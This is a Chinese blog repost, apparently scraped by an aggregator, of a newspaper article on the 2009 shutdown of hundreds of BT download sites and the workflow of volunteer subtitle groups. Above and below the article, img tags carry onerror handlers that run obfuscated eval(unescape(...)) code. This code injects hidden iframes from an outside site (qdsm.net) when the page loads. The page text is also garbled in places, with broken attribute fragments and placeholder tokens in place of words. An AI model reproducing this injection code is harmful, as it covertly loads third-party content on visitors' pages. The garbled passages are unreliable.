BT封停,“字幕江湖”旗横帜斜- 网银- chaps - 和讯博客
BT封停,“字幕江湖”旗横帜斜 [转贴 2010-03-21 11:31:14]   
BT封停,“字幕江湖”旗横帜斜

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src="http://img4.cache.netease.com/tech/2009/12/22/20091222152310a3847.jpg">

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src="http://img3.cache.netease.com/tech/2009/12/22/200912221523534ffd1.jpg">

明天你是否会想起,昨天你下的美剧;明天你是否还惦记,曾经红火的《越狱》。网友们都已想不起,下载了多少个G;我也是偶然翻硬盘,才想起ChinaBT。谁封了你的服务器,谁锁了你的IP,谁把你的资源清洗,谁给你做的寿衣……”在不少论坛,这首由《同桌的你》改编而成的歌曲正被网友狂顶。

戏谑或怀念,都源于广电总局严查《信息网络传播视听节目许可证》。

12月以来,广电总局加大力度清理整顿包括BT网站在内的无视听许可证的非法视听节目网站,截至12月20日正式关闭期,全国已关闭了包括“BT中国”、“伊甸园”、“悠悠鸟”等几家大型网站在内的530多家BT网站。

许多年轻人过去几年间已经养成免费下载观看美剧、日剧、韩剧的习惯,BT网站关闭后,一时间竟有点无所适从。“大限”来临之前,网上“哀悼”的、遗憾的、{zh1}冲刺忙下载的,热如沸水。

BT,一个涉及法律、文化、经济链条、传播方式甚至生存状态的广泛话题,“魔盒”一经打开,关上能那么容易吗?如果没有更多更丰富的精神产品提供给新一代的青年,可能关了BT,还会有“DT”、“ET”。

“后BT时代”,引人遐思……

流水作业各管一段

BT网站关闭后,为国外影视作品配发中文字幕的多个字幕组也面临解散。而不同的“字幕组”也俨然“活雷锋”一般,被网友集体“缅怀”。

正是那群隐匿于网络的人义务投入到对国外影视剧、娱乐节目的翻译事业中,才让数以亿计的网友看到了最前沿的娱乐产品,是他们让《迷失》、《越狱》、《xxxx》等剧在中国网友中爆红,而通过网络几乎与国外同步看剧观影,也成为年轻人最潮的一种生活方式。

作为国内公认的四大美剧字幕组之一的“人人影视”总字幕组组长,这些天来,冯大树若有所失。

他是澳大利亚斯文本理工大学的学生,很长一段时间,除了在校学习外,他把所有时间、精力、兴趣都集中在了美剧翻译上。而一众字幕组中,像冯这样的留学生不在少数,所以字幕组才有可能{dy}时间得到原始字幕。

如今,这一切都已改变。

冯大树的前任刘洋,曾是人人影视字幕组的核心成员之一,这位中山大学政务学院毕业的小伙子,如今已是公务员。他向羊城晚报记者介绍了字幕组的工作流程。

一般每个字幕组都是分工合作、流水作业,播出前通知翻译报名,剧集一播出,就会有片源出现在国外的BT网站上,这时字幕组的国外成员便会开始录制、传送原始字幕,字幕组总组长会通知报名的组员下载片源,再安排专人记录英文字幕的“时间轴”即“从几分几秒到几分几秒,某个角色说话”,然后根据报名人数分配成几段发给翻译,各翻译将自己负责的片断字幕译好,交给总组长安排校对或直接交给校对者,修改润色,统一翻译风格,并重新检查时间轴,之后便在论坛以及射手网发布中文字幕。

字幕一出,就会有无数热心的网友{dy}时间制作内嵌字幕的各种版本视频,{zh1}发布到网络上供人分享。

据介绍,一集45分钟长的美剧通常由4个翻译来做,虽然每个翻译仅做10分钟左右的片段,但为了保证翻译质量,最终完成也需要4-8个小时。

(本文来源:羊城晚报 作者:曾 璇 杨梓龙)

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【BT封停,“字幕江湖”旗横帜斜- 网银- chaps - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——